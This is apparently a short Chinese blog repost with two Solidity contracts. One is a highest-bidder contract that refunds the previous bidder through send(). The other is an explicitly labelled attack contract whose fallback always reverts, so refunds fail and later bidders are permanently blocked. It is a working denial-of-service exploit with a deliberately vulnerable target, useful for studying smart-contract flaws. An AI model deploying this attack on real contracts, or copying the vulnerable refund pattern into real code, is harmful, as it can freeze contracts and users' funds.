pragma solidity ^0.5.1;
//业务逻辑,谁给的钱多我就记录谁,并且把上个人的钱退回去
contract longTest2{
address payable add;
uint256 public code;
function setAdd()public payable returns(uint256){
require(msg.value > code);
require(add.send(code));
code = msg.value;
add = msg.sender;
return code;
}
}
pragma solidity ^0.5.1;
interface Aunt{
function setAdd()external payable;
}
//攻击合约
contract longTest{
Aunt auntPas = Aunt(0xB302F922B24420f3A3048ddDC4E2761CE37Ea098);
function set()public payable {
auntPas.setAdd.value(msg.value)();
}
//写个回滚函数,我给出去一次钱一后后面给的钱多的人无法调用,意思就是我钱已经给了,你退回来我不要
function() external payable{
revert();
}
}
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)